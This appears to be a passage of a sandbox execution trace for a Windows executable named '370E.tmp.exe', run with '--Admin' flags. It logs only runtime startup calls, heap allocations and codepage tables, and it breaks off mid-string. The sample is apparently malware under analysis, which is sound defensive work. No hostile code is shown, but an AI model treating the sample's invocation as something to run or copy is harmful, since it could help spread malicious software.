"\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" --Admin IsNotAutoStart IsNotTask" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 36 os_tid = 0x40c [0043.211] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff78 | out: lpSystemTimeAsFileTime=0x18ff78*(dwLowDateTime=0xce15bf70, dwHighDateTime=0x1d52ab3)) [0043.211] GetCurrentThreadId () returned 0x40c [0043.211] GetCurrentProcessId () returned 0x204 [0043.211] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff70 | out: lpPerformanceCount=0x18ff70*=16349196236) returned 1 [0043.227] GetStartupInfoW (in: lpStartupInfo=0x18ff08 | out: lpStartupInfo=0x18ff08*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0043.228] GetProcessHeap () returned 0x5b0000 [0043.228] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0043.228] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0043.228] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0043.229] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0043.230] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0043.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x3bc) returned 0x5c1d10 [0043.231] GetCurrentThreadId () returned 0x40c [0043.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x18) returned 0x5c0818 [0043.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x8, Size=0x800) returned 0x5c20d8 [0043.231] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40c79e, hStdOutput=0x1bc7cb8, hStdError=0x0)) [0043.231] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0043.231] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0043.231] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0043.231] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\370E.tmp.exe\" --Admin IsNotAutoStart IsNotTask" [0043.231] GetEnvironmentStringsW () returned 0x5c28e0* [0043.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0043.231] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x565) returned 0x5c33b8 [0043.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x5c33b8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0043.231] FreeEnvironmentStringsW (penv=0x5c28e0) returned 1 [0043.232] GetLastError () returned 0x7f [0043.232] SetLastError (dwErrCode=0x7f) [0043.232] GetLastError () returned 0x7f [0043.232] SetLastError (dwErrCode=0x7f) [0043.232] GetLastError () returned 0x7f [0043.232] SetLastError (dwErrCode=0x7f) [0043.232] GetACP () returned 0x4e4 [0043.232] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x220) returned 0x5c3928 [0043.232] GetLastError () returned 0x7f [0043.232] SetLastError (dwErrCode=0x7f) [0043.232] IsValidCodePage (CodePage=0x4e4) returned 1 [0043.232] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fedc | out: lpCPInfo=0x18fedc) returned 1 [0043.232] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f9a4 | out: lpCPInfo=0x18f9a4) returned 1 [0043.232] GetLastError () returned 0x7f [0043.232] SetLastError (dwErrCode=0x7f) [0043.232] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.232] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f728, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0043.232] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9b8 | out: lpCharType=0x18f9b8) returned 1 [0043.232] GetLastError () returned 0x7f [0043.232] SetLastError (dwErrCode=0x7f) [0043.232] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.232] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0043.233] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.233] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0043.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fcb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x38\x7d\xbc\x01\xf4\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0043.233] GetLastError () returned 0x7f [0043.233] SetLastError (dwErrCode=0x7f) [0043.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0043.233] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fdb8, cbMultiByte=256, lpWideCharStr=0x18f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0043.233] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0043.233] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0043.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fbb8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\